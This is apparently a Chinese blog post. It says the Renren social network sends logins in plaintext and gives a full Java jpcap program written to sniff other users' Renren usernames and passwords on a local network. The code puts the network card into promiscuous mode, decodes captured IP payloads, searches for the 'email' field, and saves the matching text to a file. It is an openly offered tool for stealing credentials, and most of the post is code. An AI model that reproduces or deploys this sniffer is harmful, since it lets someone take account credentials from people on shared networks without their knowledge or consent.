人人网是明文传输，所以只要抓包就能知道用户名和密码

无聊把以前那个抓包程序改了改，这样就能提取出局域网上上人人的用户名和密码了。

/*
 * 
 */
package org.wen;
import jpcap.*;
import jpcap.packet.*;
import java.io.*;

import javax.xml.bind.annotation.adapters.HexBinaryAdapter;

public class Capture {
    //将抓包信息存入文件中。
    File file=null;
    String str=null;
    static FileOutputStream fos=null;
    //设备、捕获器和包
    jpcap.NetworkInterface[] devices=null;
    JpcapCaptor captor=null;
    Packet packet=null;
    PacketReceiver receiver=null;
    //字节到16进制的转换器，将包以16进制形式展现
    HexBinaryAdapter hba=null;
    //MAC类型
    byte[] pro=null;
    //抓包函数
    public void startCapture(){
        while(captor!=null){
                captor.processPacket(1, receiver);
        }
    }
    public Capture() throws IOException{
        pro=new byte[2];
        hba=new HexBinaryAdapter();
        file=new File("./ipdata.txt");
        if(!file.exists()){
            file.createNewFile();
        }
        fos=new FileOutputStream(file);
        devices=JpcapCaptor.getDeviceList();
        //注意，我的电脑第一个是有线网卡，第二个是无线的，这里devices[1]是有线的以太网卡
        captor=JpcapCaptor.openDevice(devices[0], 1514, true, 50);
        //接收抓到的包，覆写下面这个方法来实现将抓到的包写入文件中
        receiver = new PacketReceiver() {
            public void receivePacket(Packet packet) {
                // TODO Auto-generated method stub
                try{
                	
                	
                    str="";
                    //获得网络协议类型
                    pro[0]=packet.header[12];
                    pro[1]=packet.header[13];
                    //这里暂且只抓ip包了
                    if(hba.marshal(pro).toString().equals("0800")){
//                        str+="src: ";
//                        str+=((IPPacket)packet).src_ip.toString();
//                        str+="\n";
//                        str+="dst: ";
//                        str+=((IPPacket)packet).dst_ip.toString();
//                        str+="\n";
//                        str+="head: ";
//                        str+=hba.marshal(packet.header);
//                        str+="\n";
//                        str+="data: ";
                        str=hba.marshal(packet.data);
                        str+="\n\n";
                    }else{
                        str+="a non-ip packet\n\n";
                    }
                }catch (Exception e) {
                    // TODO: handle exception
                    e.printStackTrace();
                }
                //将str写到文件中
                str=toStringHex(str);
                int iii=str.indexOf("email");
                if(iii>=0){
                	str=str.substring(iii);
                	try {
                		Capture.fos.write(str.getBytes());
                		Capture.fos.flush();
                	} catch (IOException e1) {
                		// TODO Auto-generated catch block
                		//e1.printStackTrace();
                	}
                }
            }
        };//receiver初始化结束
        //开始抓包
        startCapture();
    }
    public static void main(String[] args) throws IOException {
        new Capture();
    }
    public static String toStringHex(String s)
	{
		byte[] baKeyword = new byte[s.length()/2];
		for(int i = 0; i < baKeyword.length; i++)
		{
			try
			{
				baKeyword[i] = (byte)(0xff & Integer.parseInt(s.substring(i*2, i*2+2),16));
			}
			catch(Exception e)
			{
				e.printStackTrace();
			}
		}
		try 
		{
			s = new String(baKeyword, "utf-8");//UTF-16le:Not
		} 
		catch (Exception e1) 
		{
			e1.printStackTrace();
		} 
		return s;
	}
}